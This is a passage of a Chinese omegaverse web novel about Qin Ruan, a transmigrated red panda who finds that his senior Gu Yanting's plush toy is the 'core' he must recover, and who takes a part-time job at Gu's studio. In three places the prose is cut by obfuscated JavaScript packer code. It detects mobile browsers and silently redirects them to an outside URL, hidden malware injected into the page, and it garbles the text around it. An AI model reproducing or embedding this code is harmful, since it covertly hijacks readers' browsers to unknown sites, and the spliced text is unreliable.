驾驶位的顾砚庭看了眼后视镜,嗓音淡淡:“收纳盒里有薄荷糖。” 覃阮反应几秒:“谢谢。” 顾霄这才明白过来,赶紧找出薄荷糖,撕开糖纸喂给覃阮,又马不停蹄下车,绕去覃阮那边把门拉开将人捞出来:“我哥去停车,我们先去工作室,走一走会好很多。” 覃阮点头,跟着对方走,他嘴里喊着薄荷糖,淡淡凉凉的感觉充盈口腔,将混沌厚重的神志理清不少。 他缓过来了,这才仔细观察四处。 正午时分,市中心依旧车水马龙人潮熙攘。穿来这个世界至今,覃阮还没来过市区中心,看见此时的热闹景象,像极了他初见地球市区时那般,勾起他对人类社会的强烈探索欲。 顾霄哥哥的工作室在市中心一个十分巧妙地段,一段斜坡公路上面,穿过路旁小公园就能抵达。 越靠近工作室,喧闹渐远,人也愈发稀少,这片区域仿若城市喧嚣中的宁静孤岛,让快节奏的都市生活骤然放缓。 周边有咖啡馆、书店与甜品店,引得行人纷纷驻足小憩。而工作室则是在这排建筑的末尾,是一栋三层独栋公寓,配有宽敞的天台。 覃阮跟随顾霄进去工作室,闻到淡淡的香味,他下意识耸动鼻尖:“好香。” “工作室用的熏香。”顾霄带他去一楼沙发坐,自个去旁边那坨黄色单人沙发盘腿坐下,“我哥的朋友是医生,这种香能安神,他们来工作室就会点。” 说着抬头:“你吃什么,我让小厨房的阿姨加几个菜。” 覃阮正襟危坐:“我都可以,谢谢。” “不用客气。”顾霄笑盈盈的,“我们吃完午饭就去旁边那家画材店,或者去二楼三楼的工作区薅我哥他们的工具。” 覃阮“唔”了一声,他有点局促,其实是不知道如何应对顾霄的热情和开朗。 果然,他还有太多需要学习。 不多时,工作室的门从外面推开,顾砚庭进来,经过沙发区径直朝楼上去。 “我点了几个菜,哥你一起吃吗?”顾霄问已经上楼梯的人。 覃阮也顺着看过去,第一眼注意到的竟然是顾砚庭握在手里的那只玩偶。 顾砚庭没回头:“我吃过。” “行吧。”顾霄收回目光看向覃阮:“那中午就我们俩吃。” 覃阮视线垂落,“嗯”了一声。 他注视自己的鞋尖,手指无意识的轻轻捻动。 还是紧张。 工作室小厨房的阿姨很快把午饭带过来,两人解决午餐后,覃阮的手机传来定时提示音,提醒他该吃药。 他看向躺在对面沙发上消食的顾霄:“顾霄,我想接杯水。” 顾霄睁开双眼,朝左边指了指:“直饮机在那边岛台,柜子里有杯子。” 覃阮从包里拿出医生开的药,起身过去。他接了杯水站在岛台前,将药分好,盯着那两颗很大的胶囊看半天,无声叹息,偏头瞧向窗外。 阳光正好,光影绰绰。 覃阮却有点烦恼,他不太敢吃这两颗胶囊,太难咽,昨晚吃差点卡喉。 但这是治病的药,吃肯定得吃。 做足心里建设,将胶囊和其他药丸分开,先吃其他药丸,把胶囊剩着。 结果还是不敢吃那两颗胶囊。 有一瞬间,覃阮都在想要不算了,少两颗胶囊应该不会有什么问题。 …… “你药呢?!别告诉我你没吃!!” 并没有说不吃药的顾砚庭面无表情的看着在他面前一惊一乍的秦一祝,视线移向旁边的模特衣架。 衣架上初见成形的婚纱,是工作室最近的单。 工作室并非专注婚纱设计,而是广纳各类业务。服装、版画油画,珠宝饰品、建模外包项目,亦或者各种奇思妙想的新奇玩意。顾客提供思路,他们感兴趣就接,不感兴趣就不接,讲究随缘。 旁人看来这里是个很随心所欲的小作坊,其实对工作室里的几位来讲也的确随心所欲,毕竟这里还真是给他们放松心情消遣时光的地方。 对秦一祝而言是个人兴趣。 对顾砚庭更简单,他需要个安静的空间,一个能长时间分散注意力的地方,以此减轻信息素病带来的神经性阵痛。 顾砚庭有信息素病,最近几年一直依靠药物将其压制稳定,但用药过多会带来不少后遗症,他从几年前开始就出现失眠、感官过载及轻微躯体化症状。 他需要一些消磨时间的事来稳定情绪,工作室就是最好的地方。 接单算是玩玩,他们会认真对待每位单主的要求,做出成绩的作品也不是没有。 秦一祝主业是医生,忙起来是真忙,好在那家私人医院是他的Alpha父亲和顾砚庭合伙投资开的,他也算个小股东,班休时间很合理,也就有时间来工作室。 但顾砚庭就不一样了。有那么大个公司要管,还生着病,甚至丧心病狂到去给黎明那家伙代课,都这么忙了还能来工作室,但每件事都没落下。 秦一祝愿称其为时间管理大师,简直牛逼极了。 顾砚庭吃完药,将手里的水杯放去旁边,把工作台上一沓设计稿拾起来看。 秦一祝:“我的灵感油尽灯枯,设计稿交给你了。” 这次主题其实是两套婚纱,是为一对母女设计。前来定制的beta女生准备给她的Omega母亲一个惊喜,所以没告诉母亲,这样就少了母亲那套婚纱的灵感提供,以至于到现在都还没定稿。 顾砚庭看过那几张被批掉的稿子,放下,手指在桌面上缓慢敲点。掌心空空的,少点什么,于是他拿起放旁边的钥匙扣,捏着玩偶的耳朵慢慢揉。 指腹寻到感触,不觉得空荡,心里那片郁躁才得以平静。 秦一祝回过身来看见的,正是某人又在揉他那只小熊猫。 “一天就知道玩你那只大肥猫。”秦一祝如是评价。 顾砚庭掀起眼皮看他一眼。 “好的,小熊猫。”秦一祝从旁边架子上拿出个四四方方的盒子,过来放在顾砚庭身旁,“有舒缓剂不用,每次不爽了就捏你这小熊猫,毛都被你薅顺了,我有理由怀疑你有强迫症。” 或许还真有一点。顾砚庭没反驳,他自顾自看着手里的玩偶,顺毛耳朵,再是尾巴,最后是爪子。 这玩偶并不完全用针线制成,许多地方是毛绒质地,他祖母手很巧,这只玩偶做得逼真,已经陪了他很多年。 顾砚庭面无表情的捏着那毛绒耳朵,指腹得到极大的满足。 就这一瞬,他忽然感知到空气中渐强烈的气息,不到几秒时间,他的神经顷刻紧绷,手背上的青筋瞬间隆起。 顾砚庭抬头看向二楼楼梯口,眉心紧蹙,同在这层楼的秦一祝很快也感应到了。 是omega的信息素。 两人对视一眼,快步往楼下去。 … 覃阮拉起身后的帽子盖在头上,双手抓着两边的带子拉紧,感觉到箍太紧,那双冒出来的耳朵就算藏在里面也会被绷得明显,于是又小心谨慎的松开些带子,但抓着卫衣帽檐的手却一点都不敢放下来。 他的后颈很烫,从后往前,大片的红色蔓延而开,身体像烧热沸腾的水,烫得不得了。 藏在卫衣帽子里那双耷拉的耳朵,却一刻不停的细细发颤。 他闻到淡淡的,像蜂蜜的味道。 那是他的信息素。 覃阮抿紧唇,有点不知所措,尤其是当他听见楼梯传来声音后,不安的情绪瞬间放大。 他将还堪堪维持原样的双手往衣袖里藏,却又不能松开抓紧的卫衣帽子,视线在一楼流连,寻找刚才进来的大门。 这时顾霄过来了。 “覃阮你发情期到了?”顾霄在几步远的地方停下,不太敢靠近,当他看见楼上下来人后立刻转身挡在覃阮前面:“等等,你们两个就别过来了吧?” “你小子得相信医生啊,”秦一祝按着顾霄的肩膀将其转个身往后面推,“去旁边,你才是最容易受影响的人。” 覃阮见两个个高的人朝他走来,下意识后退,警惕地拉紧帽檐。 “我——诶!等等……”顾霄嚷嚷着被推走了。 “好了,冷静点小可爱。”秦一祝看向岛台那边的覃阮,微举双手,“我是医生,他是教师,都是为民服务的好人。” 顾砚庭扫他一眼,从岛台旁边的柜台中寻找出一支抑制剂,过去放在覃阮身前:“自己能注射?” 覃阮盯着那支抑制剂,喉咙干涩得好像要冒烟,他捻了捻指尖,确定衣袖里的手还安然无恙,于是腾出一只手快速抓住顾砚庭手里的抑制剂,声音短促:“谢谢你。” 系统说过,omega有个什么发情期,到时候得买抑制剂注射。 现在这个情况可能就是发情期。 覃阮捏紧抑制剂,低着头,迅速撩开衣袖就要往手臂上扎。 “哎哎!!”秦一祝见状差点惊叫,“不是那么用的!!” 覃阮僵住,抬头,眼眶被体热熏红:“不……是?” 秦一祝指了指自己的脖颈后面,“注射腺体。” 腺体…… 是脖子后面那块。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦一祝微笑:“不用客气,记得回去后去买些抑制剂备用。” 人走了,覃阮杵在原地,心里琢磨抑制剂贵不贵,又再想得再去医院看看,此时远处顾霄在呼唤他,他一抬头,感觉脑门被什么轻蹭了下。 覃阮:? 眼前什么都没有,又是那种感觉,只是这回很轻很温柔,比起之前那通耳朵被狂rua的可怕体验,现在这下,就好像是使坏后的道歉安抚。 正当他茫然之际,脑海里传出“滋滋滋”的动静,紧接着是系统咋咋呼呼的声音。 【我回来了!有没有想我呀宿主?】 覃阮抿直唇,声音幽怨:“014,有鬼。” 014:【啊?】 覃阮将昨天到现在频繁发生的被空气触摸的事告诉014,后者沉默,然后叹气。 【是这样的宿主。】014向他解释,【主脑那边给出原因,你这种情况,极大可能就是遗落的‘核心’在作怪。】 覃阮看看走来的顾霄,低声:“所以,我既有病,还受‘核心’影响。” 那他还真是有点倒霉。 【咳,】014保持正经,【没事的宿主,这样不就更明确目标了吗?】 “我该怎么寻找核心?”覃阮又问。 世界这么大,他几辈子都不可能找得完。 【系统只能确定范围,核心绝对就在这个城市。】014说,【其他的,就只能看宿主你的了。】 “好点了吗?”顾霄来到他身边,将阻隔剂递给他,“你没记住发情期的时间?还是突发的?要不去医院看看?” 【什么?】系统闻言一惊,【发情期?宿主你你你没事吧?】 覃阮接住顾霄递来的阻隔剂:“谢谢,我没事,抱歉给你们添麻烦。” 顾霄担忧的看着他,这时楼上又传来动静,刚才上楼去的两个人这会儿又下来。 “小霄,我和你哥得去趟公司,要顺路捎你们回学校吗?”秦一祝边问边按手机屏幕,在他侧边的顾砚庭也低着头,只是不是看手机,而是在玩手里半大的玩偶。 覃阮闻声看过去,目光恰巧落在玩偶上,他看见学长的手指碰上玩偶尾巴。 霎时,一道细细麻麻的、如同电流的感觉沿着他的背脊一路往下。 覃阮身体猛的僵住。 顾霄和医生说话的声音拉远,他的思绪空白,目光所及之处,学长的手指捏在了玩偶的爪垫上,紧随而至的,是覃阮藏在衣袖里的手,被温热的触感隔空握住的感觉。 他呼吸停滞,抓紧衣袖怔忪地盯着地板。 【014,我找到核心了。】 014震惊:【哪呢哪呢?】 覃阮屏着气息,抬头瞄一眼那边围站的三个人,小腹上传来被揉按的难以启齿的感觉,绷着脸小声说:“…是那只玩偶。” 这下完了,为什么偏偏是学长的玩偶,他要怎样才能拿到手? 5. 那个玩偶能卖给我吗? “又在玩你那只大肥猫!” 秦一祝坐驾驶位,视线还往工作室里流连,收回目光手指蹭蹭鼻尖:“那小孩谁啊?以前没见过。” 顾砚庭没抬眼:“顾霄朋友。” 秦一祝走神片刻,说:“他的信息素很特别。” 顾砚庭这才看他一眼,当事人立刻闭嘴,微举双手尴尬一笑:“我没冒犯他的意思,是真挺特别,我说不上来。” 说着用手肘碰碰旁边的顾砚庭:“他叫什么名字?” “不知道。” “小霄没和你介绍吗?” “……” 顾砚庭回忆一番,看向车外:“忘了。” 秦一祝:“。” 无用的信息自动过滤,这是顾砚庭维持状态的常用方式,况且感官过载,他更没必要去记住一个对他来讲无关紧要的人。 “我听说小霄又和家里闹矛盾了?”秦一祝笑得无奈,“那小孩拧巴,不然你再帮他一次?” “他爸让我别插手。”顾砚庭从车载储物盒里拿出平板,“你也别管他。” 秦一祝还是笑,看见旁边的人拿起平板开始工作,感慨:“大忙人,一点空闲都不给自己留。” …… 【再忙也得想办法做任务呀!】 014在覃阮的脑袋里嚷嚷了一整天,晚上还在嚷:【现在目标已经明确,宿主你只需要把那只玩偶拿到手就行了!】 覃阮双手捧热毛巾,一把糊在脸上,声音闷得很,“说得容易,怎么拿?” 【我教你,去和他交朋友!时机成熟后暗示你喜欢那只玩偶,再不济你说你花高价买。】014给他出主意,【交朋友简单啊,我不在这一天你都能和那叫顾霄的omega成为朋友,再交一个肯定不再话下。】 覃阮松开热毛巾:“我不行。” 014:【你可以。】 覃阮皱着眉问:“我都已经找到了核心,为什么还要我去拿到手?” 【这……】 “主脑有方法把我从另个时间弄到这里来,难道没办法从这个世界的人身上拿走一个玩偶?”覃阮嘀嘀咕咕,“这很不科学。” 014:【……】 覃阮今天下午去了趟医院找李医生,检查后得知是假性发情,他根本不是到发情期,就是被那通感玩偶给刺激出来的。 他有点生气,洗漱完后也不搭理014,换了睡衣上床,捞起被褥倒头就睡。 覃阮闭着双眼一动不动,心想学长看着那么正经的人类竟然天天小熊猫不离手,捏爪子就算了,怎么还捏耳朵和尾巴? 正此时,小腹上又传来温热的按压感,覃阮顿时绷紧身体,尾巴炸一下就蓬了出来,挤在他大腿中间欢乐的晃。 竟然还捏肚子!! 怎会如此… 隔天,周日。 覃阮幽怨的站在校弓道部外,很不情愿的探头往里面瞧。 014:【我们为什么不直接去找顾霄?】 覃阮想过找顾霄问工作室的具体位置,但那样好像有点刻意,万一对方问他去做什么,他没法解释。 市中心那么大,找起来很麻烦,他昨天就该多注意工作室周围建筑,草率了。 覃阮闷闷不乐,“为什么你什么都不知道。” 014:【嘤。】 014:【系统每月就一次权限啦,014这个月得留着权限陪你去医院。】 覃阮愣了愣,真诚抱歉:“对不起。” 014欣慰拭泪:【没关系……所以我们现在是在?】 覃阮上选课系统查看原本任课讲师的个人信息。那堂选修课原是黎明老师负责,能交给顾学长,说不定两人关系挺好。 他在黎明老师个人信息中得知,这位讲师在校内申请开设了弓道俱乐部。 在校内的话,距离不算远,可以去碰碰运气,所以覃阮来了。 他又探头往弓道部里瞧,没等看清里面的情况,肩膀忽然被拍了下。 “你怎么还在这?大家等你好久了,黎老师很重视这次比赛,你别掉链子啊。” 是陌生的声音。 覃阮回头,见后面一位背着行李包的男生,敏锐捕捉到对方的话,“黎老师?” 那男生看看时间,皱眉说:“别磨蹭了,赶紧跟我去车上,准备出发。” 覃阮笃定对方认错了人:“我不是弓道部的成员。” 男生愣住,抬头打量起眼前的漂亮omega,一拍脑门:“啊,抱歉,最近新来几位成员我还没认清楚脸,搞错了。” 覃阮看着对方焦头烂额的拿起手机接通电话,见人离开,他思忖须臾追上去:“你好,我现在可以加入吗?” “你……”男生的电话没挂断,手机那边传来男声:“新成员?这好啊,迟到那家伙就别等了,带新成员去吧,热情点,万一是好苗子,不可多得。” 覃阮愣着,双眼澄澈。他自己不知道,在别人看来,这是一双十分明亮真诚的眼睛,他瘦瘦小小的,头发栗子色微卷,很容易让人产生保护欲。 男生的视线在他身上流连多次:“那你跟我们车队一起去吧。” 误打误撞,覃阮上了俱乐部的大巴,与满车不认识的人前往市中心的体育馆。 据说下午有比赛,中午大家在体育馆旁边的酒店解决午饭,回去各自的房间休息。 覃阮分到个单人房间,带他来俱乐部的那位前辈说,行程费用由部长黎明老师全全报销。 “下午两点楼下集合,两点半前往体育馆。”领着他的男生拿出套弓道服给他:“你这来得突然,今天就先看看前辈们比赛,我们部长说了,学这个讲究缘分,如果以后觉得不合适想离开,随时告诉我们。” 覃阮抱着那套弓道服:“谢谢。” 房间门关上,他站着不动,看看怀里的服装:“好像有点草率。” 014:【那是挺草率了。】 “他刚才说,黎老师让学长负责弓道部,但车上没见到他。”覃阮刚才上车有仔细观察,没看见顾砚庭。 【前后一共三辆大巴车,说不定在其他车。】014给他出主意,【不然出去走走?万一能碰上呢?】 说走就走,覃阮放好东西带上房卡立即出了门。 兜兜转转来到刚才集合的一楼大厅,他打算过去碰碰运气,才推开前往餐饮区的门,从缝隙中听见一声笑,是刚才领他的那位男生。 “查到了,叫覃阮,美院的,是个omega。”说到这又笑一声,尾音上扬:“长得很漂亮,是你们几个喜欢的类型吧?” “手机拿来我看看。”现在是别的声音,“嚯!还是个在领国家补贴的小煤球啊,这种可怜的小O最缺爱,给点好处就能跟着走,看我下午把他拿下。” “前几个你拿下了吗?” “那几个没意思,这个好看,哭起来肯定更漂亮。” …… 覃阮没进去,静静听着里面大声哄笑。 【014,他们好像在说我?】 【不出意外,是的。】 “顾霄说的没错。”覃阮低声,“不能随便跟陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702537|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人走,这个世界还是坏人多。” 014:【那……走吗?】 “还没找到人。”覃阮不太想进去,但他也不想错过有用信息,准备绕另外一边的门,结果转身就看见旁边卡座里两个眼熟的人。 是学长和医生,他们在看覃阮,准确点说,也在看半掩的门那边。 【他们好像听见我说的话了。】覃阮在心里对014说。 014应声:【是的,他们可能还听见里面那几个混蛋说的话。】 覃阮:“。” 他默默的将打开的那点门缝拉上,犹豫几秒,走过去打招呼:“学长好,医生好。” “你好啊。”秦医生微笑,然后看一眼坐对面的顾砚庭。 “咳。”医生单拳抵下巴,“我们来这边办事,不小心听见了,抱歉啊。” 说完又看一眼顾砚庭。 该死的你倒是说句话啊!! 覃阮摇头:“不是你们的错,不用道歉。” 顾砚庭没抬头,仍在看手里的平板:“你是弓道部的成员?” 秦医生迷惑:“什么部?” 覃阮点头,又摇头:“不算是,还没正式进入。” “如果你是。”顾砚庭放下平板,看向他,“他们会因为校外骚扰部员被开除通报。” 覃阮注视那双静若深湖的眼睛,沉默几秒:“我可以是,但他们被开除后,我要退出。” 顾砚庭收回目光:“你自己决定。” 他给远在国外的黎明发了消息,放下手机,留对面秦一祝持续茫然。 “不是,你俩打什么谜语呢?”秦一祝看着顾砚庭,“你认识那几个人家伙?” “黎明俱乐部里的人。”顾砚庭说。 “天呢,这世界真小。”秦一祝看向覃阮,“我为朋友的管理不当向你道歉,那几个家伙会受到惩罚的,你放心。” 覃阮:“谢谢。” 他视线在顾砚庭手臂旁边流连,目光巴不得黏上那只小熊猫玩偶,思忖半晌开口:“我以为学长在代理俱乐部。” 顾砚庭没反应,秦一祝倒是愣住,品出点什么,迟疑的问:“小朋友,你为什么来俱乐部?” 覃阮想了想,说:“我来找东西。” “……”秦一祝眯眼瞅瞅对面不动如山的顾砚庭,又问:“那找到了吗?” 覃阮盯着顾砚庭手边小熊猫,点头:“找到了。” “……”从秦一祝的视角,这小omega一直在看顾砚庭,喜欢简直不要太明显。 “俱乐部不归我管,”顾砚庭没抬头,“东西找到了就别留在这里,返校的费用黎明会给你报销。” 处理完工作,看眼时间,又拿起平板和玩偶起身,对秦一祝说:“走了。” “哦哦。”秦一祝拿上东西,向覃阮打了招呼后跟上去。 覃阮看着离他远去的玩偶,心里着急。 【上去呀!去试试找他买!】014催促他。 “……”覃阮心一横,跑上去拦在两人身前:“等等。” 忽然被别停,顾砚庭蹙眉,垂眸看着矮他许多的omega,一言不发。 “学长,你这个。”覃阮指着他手里的玩偶:“能卖给我吗?多少钱都可以。” 说出这句话时覃阮兜里总共863.66,他其实很没底气。 “……”顾砚庭缄默,捏紧玩偶揣回兜里,“不卖。” 覃阮被捏那么一下浑身都颤了个来回,他含混不清没说出个什么,最后就“嗯”了声,转身跑了,溜得比兔子还快。 6. 他睡着了 人溜得没影了,旁边的秦一祝才咂舌:“小朋友的心思不要太明显啊,你是不是拒绝的太绝情了?” 顾砚庭睨他一眼。 “好的,我闭嘴。”秦一祝微笑。 覃阮一路跑回房间,门一关上,盖住脸的就不是双手,而是两只毛茸茸的爪,他深吸一口气,用爪垫揉揉脸,沮丧道:“怎么办,他不愿意卖,那只玩偶对他肯定很重要。” 014安慰:【没事的,再想想其他办法。】 还能有什么办法?对方一捏玩偶他就藏不住本体,这就给任务又上了难度。 覃阮转个身,脑门抵在门上叹气,爪子按在门上磨。他眼睛一亮,站直身体,两只爪在门上那块亚麻挂布帘上不停蹭蹭,越蹭越欢。 “这个摸着好舒服。” 【和猫抓板质地差不多。】014说:【你回去也可以弄一块放在宿舍。】 孩子也是到了会磨爪子的年纪了。 于是覃阮一边郁闷着复盘刚才的经过,一边很欢的磨着他的爪,决定了:“我今天有点委屈,晚上回去要买一斤苹果。” 014:【宿主你的总资产只剩下863.66……】 “我要买。” 【好好好,买买买。】 覃阮慢吞吞地哼了声,再如何他都不能委屈自己,找到核心已经很厉害了。 竟然还要他从顾砚庭手里拿到核心,那很难,他得给自己一点奖励。 结果覃阮还是去问了顾霄工作室的位置,周一下午,他打车来了工作室。 【很好,有你这么努力的宿主真是014的福气!】014表示非常欣慰。 “……”覃阮杵在工作室大门外,抬头仰望门口的招牌,抓着肩带的手心直冒汗。 他没告诉014他怕顾砚庭,014也完全没察觉出他在害怕。 这一主一统是真丁点儿默契都没有。 问顾霄工作室位置的时候,对方同时告诉他今天工作室可能没人在,说他哥和医生一般周天才到工作室。覃阮还是来了,他想碰碰运气。 【进去看看?】014通过覃阮的视角看见大门上的‘营业中’小挂牌,【里面有人。】 覃阮点头,才要伸手推门又即刻停下,问014:“如果问我来干什么,我怎么说?” 系统给他出主意:【说你想约定制。】 覃阮沉默,看向门口挂着的海报,那是工作室曾经做出成绩的作品及其价格。 【海蓝之心宝石对戒】-5,000,000¥ 【电影《深渊》“雇佣兵”角色建模承包】-2,000,000¥ 【凤冠《霞》复刻】-1,500,000¥ 【西城水上乐园初稿+成稿】-1500,000¥ …… “……”覃阮退却一步,“我身上就八百块。” 【你说你想定制个和他玩偶一样的玩偶。】脑意识里的014眉飞色舞,【用最便宜的材料,以后有机会再来个偷梁换柱!】 馊主意。 覃阮驳回提议:“这样不好。” 他不再听系统说话,伸手推门进去。 有熟悉的熏香。 环顾一圈,一楼没人,他朝楼梯的方向往上看,这时候身后的大门又被推开,覃阮听见声音,回头,看见个红头发女生进来。 对方的视线在他身上看看,双手环抱:“你也是这里的设计师?” 覃阮一愣,摇头:“不是。” “我说呢,以前没见过你。”女生往里走,轻车熟路前往会客厅给自己接了杯水,又去沙发那里坐下,低头在手机上按了几下,抬头:“那你也是来这里委托定制的喽?” 覃阮还是否认:“不是。” 女生歪着脑袋,猫眼妆容衬得她很酷但同时浑身一股子生人勿进的气质,看了覃阮一会儿便收回目光不再讲话。 覃阮往里走,视线又往楼梯上流连,去会客区另一边的沙发坐下。 对面的女生一直在发消息,覃阮坐着不动,不多时他的手机猛然炸来消息,他手忙脚乱的拿出手机,一看是顾霄。 顾霄:【阮,你在工作室吗?】 顾霄:【我哥在吗?】 顾霄:【我给他发消息不回,打电话也不接!】 覃阮赶紧回复:【我在工作室,没看见你哥。】 顾霄:【不能吧,你去二楼三楼看了吗?】 覃阮:【没。】 顾霄:【去看看,拜托了!】 顾霄:【双手合十.JPG】 覃阮踌躇须臾,收了手机起身往楼梯去,坐在他对面那位红头发女生抬头:“你干什么?” 覃阮脚步顿住:“我上去看看。” “你去?”女生眯眼,“不太礼貌吧?工作室禁止陌生人上二楼。” 【哇啊啊她好凶。】014嘀嘀咕咕。 【她说的没错。】覃阮侧过身,“谢谢你提醒,我是帮这里设计师的弟弟去看看。” 女生不说话,很显然表示怀疑。 覃阮也没必要多解释,点了点头就往楼上去了。 层高三米,楼梯狭窄还有个弯曲处,覃阮的手按着扶手来到二楼,看见与一楼完全不同的格局。 四面落地窗,是个大平层,几处承重柱上挂满各式各样的作品。 这里是一个巨大的设计室,东西很多看似凌乱其实乱中有序,四个角落不同工作区,靠近西边落地窗那有个很宽敞的岛台,就在旁边,一张宽大的灰沙发摆在落地窗前,从覃阮的视角只看得见沙发背面,扶手的一角露出点黑发。 沙发上有人。 覃阮轻手轻脚过去,停在沙发背面,低头看见躺在上面、双手环抱的顾砚庭。 即便睡着眉心也皱着,宽敞的沙发对他来说略显拥挤,顾砚庭的呼吸有些沉,没醒,但一眼能看出来睡得很浅。 覃阮拿出手机调上静音,给顾霄回信:【他在二楼睡觉。】 顾霄没回,他捏着手机的手垂下去,又悄咪咪看了眼沙发上的人,发现几道影子在顾砚庭脸上晃,扰得入睡的人眉心攒得更紧。 覃阮四处寻找,发现旁边挂墙架台放置着盆别具一格的树枝,上面挂着很多飘带,被窗外的风吹得轻晃,正是飘带的影子落在顾砚庭的脸上。 他轻轻往旁边挪了点脚,伸手去够那几条飘带,将其捞起来挂在枝丫上。因为距离偏高,他不得不踮踮脚,殊不知此时沙发上的人已经醒来,睁着眼在看他。 覃阮的长相并不是明艳那一挂,他的五官与情绪一样平静柔软,那双琥珀色的眼睛很漂亮,像被夏天阳光照耀的湖泊,暖色,晶莹,是用颜料无法调出的、浑然天成的自然色彩。 就是那头栗子色的卷翘头发,看着像某种动物。 顾砚庭静静的看着上方的人将那些晃动的飘带固定在枝丫上,淡然出声:“谁让你上来的?” 突然出现的声音吓得覃阮抖了三抖,他慌张收回手站好,将另只手上的手机递给顾砚庭看:“顾霄让我上来找你。” 顾砚庭视线移向手机屏幕。 顾霄:【你试试他呼吸!看看人还活着吗?!】 顾砚庭:“。” 覃阮发现对方表情不太对,立即收回手机看一眼,看见顾霄回的内容,咂下嘴,试图挽救:“他让我看看你还好吗……” “告诉他人没了,让他来收尸。”顾砚庭起身,去冰箱拿了杯冰水,依着岛台低头按开关机的手机。 好像没挽救回来…… 覃阮稍显局促,快速给顾霄回了消息,又瞄一眼那头的顾砚庭,没看见玩偶。 【在旁边架子上!】014早就替他观察好,【宿主你往后挪两步,神不知鬼不觉收入囊中!】 【那是偷。】覃阮驳回014的鬼主意,【不行。】 014知道这个方法很不道德,但现在又的确是个很好的机会,他欲言又止,尝试再劝,【拿到手你就完成任务了,今天就能返回你的世界。】 “……” 覃阮抿着唇,还是说:【不行,我再想想其他办法。】 那边回复完一堆消息的顾砚庭扔掉手机,睨了眼还杵在沙发旁边的覃阮:“你有事?” 像开小差被点名的学生,覃阮下意识立定站好:“我、我想约定制。” 【对就是这样!】脑意识里的014挥起了大旗。 顾砚庭看着他:“约什么?” “你接玩偶定制吗?我想要一个你那样的玩偶。”覃阮并不是想偷梁换柱,他实在想不到其他办法,现在能找到的话题也只有这个,就只能先提出来试试看,能拉近一下关系也好。 谁知顾砚庭直接拒绝:“不接。” 覃阮一愣,慢吞吞地“哦”了声,又问:“为什么?” 顾砚挺将空掉的冰饮杯扔进垃圾桶,往工作室另一边的服装设计区走:“随便找家店就能买,别来这里浪费时间。” “可是那些和你的不一样,你的玩偶真的很好看。”覃阮不放弃,追着对方的身影,看见那边衣架上一套很漂亮的白色婚纱,顿时被震撼得眼睛都不眨了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702538|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾砚庭没理他,覃阮的局促感愈发的重,他实在搞不来人类的社交,小熊猫之间只需要互相蹭蹭、碰碰鼻子就可以增进彼此的感情,覃阮虽然没有小熊猫朋友,但他爸妈就是这样对他好的。 人类的社交好难,覃阮有点想念本体时候的生活。 就在他手足无措不知道如何是好的时候,楼梯口传来声音。 “楼下单主来问进度,真尴尬,我把那位Beta女孩的名字忘了……” 秦一祝一上来就看见杵在沙发旁边、表情看起来可怜兮兮的覃阮,他身形猛顿,再瞧另一边冷漠得像个渣A的顾某人,差点把舌头给咬了。 “咳……”秦医生保持稳重,对覃阮笑笑,挪着影步到顾砚庭旁边,压低声问,“老顾,你把人拒绝了?” 顾砚庭:“滚。” 秦一祝:“好嘞。” 覃阮看着医生和学长说话,视线游移,注意到旁边台面上的海报,视线停留在那上面的“兼职”字眼上。 没经过思量,抓住个机会就不放过,他拿起海报朝前走几步,停在合适距离的地方:“我能到这里来兼职吗?” 闻言的两位Alpha都看过来,顾宴庭视线在覃阮手里的海报上扫一眼,问秦阮:“你弄的?” “你也知道我们工作室一周内经常五天都关着门。”秦一祝耸肩,“虽然我们不需要时刻承接客户,但一直关着门的确不像样。” 顾砚庭还没说话,那边的覃阮赶紧争取:“我周一到周五每天都能来。” 秦一祝看看他,又去瞄几眼顾砚庭,问前者:“学习不忙吗?” 覃阮:“还好。” 他说的是实话,课业并不忙,没有哪天是满课。 覃阮目不转睛的注视着顾砚庭,看得旁边的秦医生欲言又止心里连连啧声。 顾砚庭回过身背对着两人,注意在工作,没搭理他们。 “那——”秦一祝冲几步远外的覃阮眨眨眼,视线一个劲往旁边的顾大忙人挪,“你每天有空就来工作室开开门,按小时计费每小时一百…两百吧,先适应一周。” 覃阮点头:“谢谢。” “我拉你进群,”秦一祝掏出手机,扫码拉人后把工作室大门的密码发给覃阮,“你每天到了在群里吱一声就行。” 说罢收起手机,对顾砚庭说:“那我下去跟客户聊了。” 秦一祝溜得很快,哒哒几声人就不见了。覃阮杵在原地,低头看着手机,改了群里的备注。很快群主秦医生群发消息欢迎他,并告诉他可以在二楼三楼逛逛,但最好不要碰那些东西。 覃阮回了收到,放下手机,又悄悄看一眼顾砚庭。 他思忖片刻,还是问:“真的不能做吗?” 顾砚庭:“不做。” “……”覃阮看看台面上的玩偶,觉得可惜,不谈玩偶是核心的事,他其实真心很喜欢那小熊猫玩偶,看着亲切。 覃阮收回热切的目光,望着顾砚庭的背影,发呆几秒又慢慢去环顾这层楼。 很多作品,成品半成品,甚至初稿。他看见幅挂在承重柱上的比他还高的油画,震撼得睁圆双眼。 “你好厉害。”覃阮来到画前仰望,想了想问:“我以后能带工具来这里学习吗?” 